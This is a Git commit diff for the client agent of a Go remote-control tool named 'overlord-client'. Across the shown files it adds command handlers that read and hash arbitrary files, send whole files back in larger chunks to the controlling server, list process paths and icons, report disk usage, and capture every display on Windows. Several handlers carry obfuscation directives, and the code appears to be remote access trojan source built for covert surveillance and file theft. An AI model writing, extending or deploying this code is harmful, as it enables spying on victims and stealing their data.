big update
This commit is contained in:
@@ -42,7 +42,7 @@ func Loop(ctx context.Context, env *rt.Env) {
|
||||
restore := BypassResolutionCap()
|
||||
defer restore()
|
||||
var err error
|
||||
if goruntime.GOOS == "windows" && activeDisplays() > 1 {
|
||||
if goruntime.GOOS == "windows" {
|
||||
err = captureAllDisplaysAndSend(ctx, env)
|
||||
} else {
|
||||
err = CaptureAndSend(ctx, env)
|
||||
|
||||
@@ -2124,6 +2124,29 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "file_peek":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
path, _ := payload["path"].(string)
|
||||
bytesToRead := 0
|
||||
if v, ok := payloadInt(payload, "bytes"); ok {
|
||||
bytesToRead = v
|
||||
}
|
||||
goSafe("file_peek", env.Cancel, func() {
|
||||
if err := HandleFilePeek(ctx, env, cmdID, path, bytesToRead); err != nil && err != context.Canceled {
|
||||
log.Printf("file_peek error: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "file_hash":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
path, _ := payload["path"].(string)
|
||||
algorithm, _ := payload["algorithm"].(string)
|
||||
goSafe("file_hash", env.Cancel, func() {
|
||||
if err := HandleFileHash(ctx, env, cmdID, path, algorithm); err != nil && err != context.Canceled {
|
||||
log.Printf("file_hash error: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "agent_update":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
path, _ := payload["path"].(string)
|
||||
@@ -2132,6 +2155,15 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow)
|
||||
case "process_list":
|
||||
return HandleProcessList(ctx, env, cmdID)
|
||||
case "process_icon":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
items := parseIconRequestItems(payload["items"])
|
||||
goSafe("process_icon", env.Cancel, func() {
|
||||
if err := HandleProcessIcon(ctx, env, cmdID, items); err != nil && err != context.Canceled {
|
||||
log.Printf("process_icon error: %v", err)
|
||||
}
|
||||
})
|
||||
return nil
|
||||
case "process_kill":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
|
||||
@@ -5,9 +5,15 @@ import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"hash"
|
||||
"hash/crc32"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
@@ -25,7 +31,7 @@ import (
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
const maxChunkSize = 1024 * 1024
|
||||
const maxChunkSize = 4 * 1024 * 1024
|
||||
|
||||
type pendingUpload struct {
|
||||
file *os.File
|
||||
@@ -134,14 +140,19 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
|
||||
for drive := 'A'; drive <= 'Z'; drive++ {
|
||||
drivePath := string(drive) + ":\\"
|
||||
if _, err := os.Stat(drivePath); err == nil {
|
||||
|
||||
entries = append(entries, wire.FileEntry{
|
||||
entry := wire.FileEntry{
|
||||
Name: string(drive) + ":",
|
||||
Path: drivePath,
|
||||
IsDir: true,
|
||||
Size: 0,
|
||||
ModTime: time.Now().Unix(),
|
||||
})
|
||||
}
|
||||
if free, total, fs, ok := DiskUsage(drivePath); ok {
|
||||
entry.FreeBytes = free
|
||||
entry.TotalBytes = total
|
||||
entry.FSType = fs
|
||||
}
|
||||
entries = append(entries, entry)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -156,6 +167,165 @@ func listWindowsDrives(ctx context.Context, env *agentRuntime.Env, cmdID string)
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
const filePeekMaxBytes = 4096
|
||||
|
||||
func HandleFilePeek(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, requestedBytes int) error {
|
||||
log.Printf("file_peek: %s", path)
|
||||
|
||||
if requestedBytes <= 0 || requestedBytes > filePeekMaxBytes {
|
||||
requestedBytes = filePeekMaxBytes
|
||||
}
|
||||
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
|
||||
Type: "file_peek_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
if info.IsDir() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
|
||||
Type: "file_peek_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Error: "path is a directory",
|
||||
})
|
||||
}
|
||||
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
|
||||
Type: "file_peek_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
buf := make([]byte, requestedBytes)
|
||||
n, err := io.ReadFull(f, buf)
|
||||
if err != nil && err != io.EOF && err != io.ErrUnexpectedEOF {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
|
||||
Type: "file_peek_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
data := buf[:n]
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FilePeekResult{
|
||||
Type: "file_peek_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Data: data,
|
||||
Size: info.Size(),
|
||||
IsText: looksLikeText(data),
|
||||
})
|
||||
}
|
||||
|
||||
func looksLikeText(data []byte) bool {
|
||||
if len(data) == 0 {
|
||||
return true
|
||||
}
|
||||
if !utf8.Valid(data) {
|
||||
return false
|
||||
}
|
||||
for _, b := range data {
|
||||
if b == 0 {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func HandleFileHash(ctx context.Context, env *agentRuntime.Env, cmdID string, path string, algorithm string) error {
|
||||
log.Printf("file_hash: %s algo=%s", path, algorithm)
|
||||
|
||||
algorithm = strings.ToLower(strings.TrimSpace(algorithm))
|
||||
if algorithm == "" {
|
||||
algorithm = "sha256"
|
||||
}
|
||||
|
||||
var h hash.Hash
|
||||
switch algorithm {
|
||||
case "sha256":
|
||||
h = sha256.New()
|
||||
case "sha1":
|
||||
h = sha1.New()
|
||||
case "md5":
|
||||
h = md5.New()
|
||||
case "crc32":
|
||||
h = crc32.NewIEEE()
|
||||
default:
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Error: "unsupported algorithm",
|
||||
})
|
||||
}
|
||||
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
if info.IsDir() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Error: "path is a directory",
|
||||
})
|
||||
}
|
||||
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
if _, err := io.Copy(h, f); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Error: err.Error(),
|
||||
})
|
||||
}
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileHashResult{
|
||||
Type: "file_hash_result",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Algorithm: algorithm,
|
||||
Digest: hex.EncodeToString(h.Sum(nil)),
|
||||
Size: info.Size(),
|
||||
})
|
||||
}
|
||||
|
||||
func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
log.Printf("file_download: %s", path)
|
||||
@@ -170,10 +340,10 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
defer file.Close()
|
||||
|
||||
stat, err := file.Stat()
|
||||
if err != nil {
|
||||
_ = file.Close()
|
||||
result := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
@@ -184,55 +354,84 @@ func HandleFileDownload(ctx context.Context, env *agentRuntime.Env, cmdID string
|
||||
}
|
||||
|
||||
total := stat.Size()
|
||||
offset := int64(0)
|
||||
buffer := make([]byte, maxChunkSize)
|
||||
chunksTotal := 0
|
||||
if total > 0 {
|
||||
chunksTotal = int((total + int64(maxChunkSize) - 1) / int64(maxChunkSize))
|
||||
}
|
||||
chunkIndex := 0
|
||||
reader := bufio.NewReader(file)
|
||||
|
||||
for {
|
||||
n, err := io.ReadFull(reader, buffer)
|
||||
if err == io.EOF {
|
||||
break
|
||||
type readChunk struct {
|
||||
data []byte
|
||||
off int64
|
||||
idx int
|
||||
err error
|
||||
}
|
||||
|
||||
readCtx, cancelReader := context.WithCancel(ctx)
|
||||
pipe := make(chan readChunk, 2)
|
||||
done := make(chan struct{})
|
||||
|
||||
go func() {
|
||||
defer close(done)
|
||||
defer close(pipe)
|
||||
defer file.Close()
|
||||
offset := int64(0)
|
||||
idx := 0
|
||||
for {
|
||||
buf := make([]byte, maxChunkSize)
|
||||
n, rerr := io.ReadFull(file, buf)
|
||||
if n > 0 {
|
||||
select {
|
||||
case <-readCtx.Done():
|
||||
return
|
||||
case pipe <- readChunk{data: buf[:n], off: offset, idx: idx}:
|
||||
}
|
||||
offset += int64(n)
|
||||
idx++
|
||||
}
|
||||
if rerr == nil {
|
||||
continue
|
||||
}
|
||||
if rerr == io.EOF || rerr == io.ErrUnexpectedEOF {
|
||||
return
|
||||
}
|
||||
select {
|
||||
case <-readCtx.Done():
|
||||
case pipe <- readChunk{err: rerr, off: offset, idx: idx}:
|
||||
}
|
||||
return
|
||||
}
|
||||
if err != nil && err != io.ErrUnexpectedEOF {
|
||||
result := wire.FileDownload{
|
||||
}()
|
||||
|
||||
defer func() {
|
||||
cancelReader()
|
||||
<-done
|
||||
}()
|
||||
|
||||
for chunk := range pipe {
|
||||
if chunk.err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Error: err.Error(),
|
||||
Offset: offset,
|
||||
Error: chunk.err.Error(),
|
||||
Offset: chunk.off,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunkIndex: chunk.idx,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
})
|
||||
}
|
||||
|
||||
if n > 0 {
|
||||
chunk := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Data: buffer[:n],
|
||||
Offset: offset,
|
||||
Total: total,
|
||||
ChunkIndex: chunkIndex,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, chunk); err != nil {
|
||||
return err
|
||||
}
|
||||
offset += int64(n)
|
||||
chunkIndex++
|
||||
msg := wire.FileDownload{
|
||||
Type: "file_download",
|
||||
CommandID: cmdID,
|
||||
Path: path,
|
||||
Data: chunk.data,
|
||||
Offset: chunk.off,
|
||||
Total: total,
|
||||
ChunkIndex: chunk.idx,
|
||||
ChunksTotal: chunksTotal,
|
||||
}
|
||||
|
||||
if err == io.ErrUnexpectedEOF {
|
||||
break
|
||||
if err := wire.WriteMsg(ctx, env.Conn, msg); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -37,6 +37,17 @@ func getFilePermissions(info os.FileInfo) (mode, owner, group string) {
|
||||
return
|
||||
}
|
||||
|
||||
func DiskUsage(path string) (int64, int64, string, bool) {
|
||||
var st syscall.Statfs_t
|
||||
if err := syscall.Statfs(path, &st); err != nil {
|
||||
return 0, 0, "", false
|
||||
}
|
||||
bsize := int64(st.Bsize)
|
||||
free := int64(st.Bavail) * bsize
|
||||
total := int64(st.Blocks) * bsize
|
||||
return free, total, "", true
|
||||
}
|
||||
|
||||
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
|
||||
mode, owner, group := getFilePermissions(info)
|
||||
entry.Mode = mode
|
||||
|
||||
@@ -8,10 +8,46 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func DiskUsage(path string) (int64, int64, string, bool) {
|
||||
kernel32 := syscall.NewLazyDLL("kernel32.dll")
|
||||
getDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW")
|
||||
getVolumeInformationW := kernel32.NewProc("GetVolumeInformationW")
|
||||
|
||||
root, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, 0, "", false
|
||||
}
|
||||
var freeAvail, totalBytes, totalFree uint64
|
||||
r1, _, _ := getDiskFreeSpaceExW.Call(
|
||||
uintptr(unsafe.Pointer(root)),
|
||||
uintptr(unsafe.Pointer(&freeAvail)),
|
||||
uintptr(unsafe.Pointer(&totalBytes)),
|
||||
uintptr(unsafe.Pointer(&totalFree)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
return 0, 0, "", false
|
||||
}
|
||||
|
||||
fsType := ""
|
||||
var fsNameBuf [32]uint16
|
||||
r2, _, _ := getVolumeInformationW.Call(
|
||||
uintptr(unsafe.Pointer(root)),
|
||||
0, 0, 0, 0, 0,
|
||||
uintptr(unsafe.Pointer(&fsNameBuf[0])),
|
||||
uintptr(len(fsNameBuf)),
|
||||
)
|
||||
if r2 != 0 {
|
||||
fsType = syscall.UTF16ToString(fsNameBuf[:])
|
||||
}
|
||||
|
||||
return int64(freeAvail), int64(totalBytes), fsType, true
|
||||
}
|
||||
|
||||
func enrichFileEntry(entry *wire.FileEntry, info os.FileInfo) {
|
||||
if d, ok := info.Sys().(*syscall.Win32FileAttributeData); ok {
|
||||
entry.Attrs = d.FileAttributes
|
||||
|
||||
@@ -4,11 +4,11 @@ import (
|
||||
"context"
|
||||
"log"
|
||||
|
||||
"overlord-client/cmd/agent/runtime"
|
||||
agentRuntime "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
)
|
||||
|
||||
func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
func HandleProcessList(ctx context.Context, env *agentRuntime.Env, cmdID string) error {
|
||||
log.Printf("process_list: listing all processes")
|
||||
|
||||
processes := []wire.ProcessInfo{}
|
||||
@@ -32,7 +32,7 @@ func HandleProcessList(ctx context.Context, env *runtime.Env, cmdID string) erro
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
func HandleProcessKill(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
|
||||
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
||||
log.Printf("process_kill: %d", pid)
|
||||
|
||||
@@ -52,7 +52,7 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
func HandleProcessSuspend(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_suspend: %d", pid)
|
||||
|
||||
err := suspendProcess(pid)
|
||||
@@ -71,7 +71,7 @@ func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, p
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
|
||||
func HandleProcessResume(ctx context.Context, env *agentRuntime.Env, cmdID string, pid int32) error {
|
||||
log.Printf("process_resume: %d", pid)
|
||||
|
||||
err := resumeProcess(pid)
|
||||
@@ -89,3 +89,27 @@ func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pi
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, result)
|
||||
}
|
||||
|
||||
func HandleProcessIcon(ctx context.Context, env *agentRuntime.Env, cmdID string, items []wire.FileIconRequestItem) error {
|
||||
out := make([]wire.FileIconResultItem, 0, len(items))
|
||||
for _, item := range items {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
png, err := extractFileIconPNG(item.Path, item.Ext)
|
||||
ri := wire.FileIconResultItem{Key: item.Key}
|
||||
if err != nil {
|
||||
ri.Error = err.Error()
|
||||
} else {
|
||||
ri.PNG = png
|
||||
}
|
||||
out = append(out, ri)
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.FileIconResult{
|
||||
Type: "process_icon_result",
|
||||
CommandID: cmdID,
|
||||
Icons: out,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -22,11 +22,12 @@ var (
|
||||
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
||||
modPsapi = windows.NewLazySystemDLL("psapi.dll")
|
||||
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
|
||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
|
||||
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
|
||||
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
|
||||
procOpenProcess = modKernel32.NewProc("OpenProcess")
|
||||
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
|
||||
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
|
||||
procQueryFullProcessImageNameW = modKernel32.NewProc("QueryFullProcessImageNameW")
|
||||
)
|
||||
|
||||
type cpuSample struct {
|
||||
@@ -131,6 +132,18 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
|
||||
}
|
||||
}
|
||||
|
||||
exePath := ""
|
||||
var dosPath [windows.MAX_PATH]uint16
|
||||
dosPathLen := uint32(windows.MAX_PATH)
|
||||
ret2, _, _ := procQueryFullProcessImageNameW.Call(
|
||||
handle, 0,
|
||||
uintptr(unsafe.Pointer(&dosPath[0])),
|
||||
uintptr(unsafe.Pointer(&dosPathLen)),
|
||||
)
|
||||
if ret2 != 0 && dosPathLen > 0 {
|
||||
exePath = syscall.UTF16ToString(dosPath[:dosPathLen])
|
||||
}
|
||||
|
||||
var memCounters PROCESS_MEMORY_COUNTERS
|
||||
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
||||
memory := uint64(0)
|
||||
@@ -224,6 +237,7 @@ func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
|
||||
PID: pid,
|
||||
PPID: ppid,
|
||||
Name: name,
|
||||
ExePath: exePath,
|
||||
CPU: cpu,
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
|
||||
@@ -214,11 +214,15 @@ func captureScreenshotImageWindows(allDisplays bool) (*image.RGBA, int, image.Re
|
||||
sp := make([]scaledPart, len(parts))
|
||||
for i, part := range parts {
|
||||
sx, sy := 1.0, 1.0
|
||||
if bw := part.bounds.Dx(); bw > 0 {
|
||||
sx = float64(part.img.Rect.Dx()) / float64(bw)
|
||||
bw := part.bounds.Dx()
|
||||
bh := part.bounds.Dy()
|
||||
iw := part.img.Rect.Dx()
|
||||
ih := part.img.Rect.Dy()
|
||||
if bw > 0 && iw > 0 {
|
||||
sx = float64(iw) / float64(bw)
|
||||
}
|
||||
if bh := part.bounds.Dy(); bh > 0 {
|
||||
sy = float64(part.img.Rect.Dy()) / float64(bh)
|
||||
if bh > 0 && ih > 0 {
|
||||
sy = float64(ih) / float64(bh)
|
||||
}
|
||||
sp[i] = scaledPart{
|
||||
img: part.img,
|
||||
|
||||
@@ -112,6 +112,10 @@ type FileEntry struct {
|
||||
Group string `msgpack:"group,omitempty"`
|
||||
// windows file attributes
|
||||
Attrs uint32 `msgpack:"attrs,omitempty"`
|
||||
// Drive / volume disk usage (populated only at root listings for drive entries).
|
||||
FreeBytes int64 `msgpack:"freeBytes,omitempty"`
|
||||
TotalBytes int64 `msgpack:"totalBytes,omitempty"`
|
||||
FSType string `msgpack:"fsType,omitempty"`
|
||||
}
|
||||
|
||||
type FileListResult struct {
|
||||
@@ -151,6 +155,7 @@ type ProcessInfo struct {
|
||||
PID int32 `msgpack:"pid"`
|
||||
PPID int32 `msgpack:"ppid"`
|
||||
Name string `msgpack:"name"`
|
||||
ExePath string `msgpack:"exePath,omitempty"`
|
||||
CPU float64 `msgpack:"cpu"`
|
||||
Memory uint64 `msgpack:"memory"`
|
||||
Username string `msgpack:"username,omitempty"`
|
||||
@@ -227,6 +232,26 @@ type FileThumbnailResult struct {
|
||||
Thumbs []FileThumbnailResultItem `msgpack:"thumbs"`
|
||||
}
|
||||
|
||||
type FilePeekResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
Data []byte `msgpack:"data,omitempty"`
|
||||
Size int64 `msgpack:"size"`
|
||||
IsText bool `msgpack:"isText"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FileHashResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
Path string `msgpack:"path"`
|
||||
Algorithm string `msgpack:"algorithm"`
|
||||
Digest string `msgpack:"digest"`
|
||||
Size int64 `msgpack:"size"`
|
||||
Error string `msgpack:"error,omitempty"`
|
||||
}
|
||||
|
||||
type FolderSizeResult struct {
|
||||
Type string `msgpack:"type"`
|
||||
CommandID string `msgpack:"commandId,omitempty"`
|
||||
|
||||
Reference in New Issue
Block a user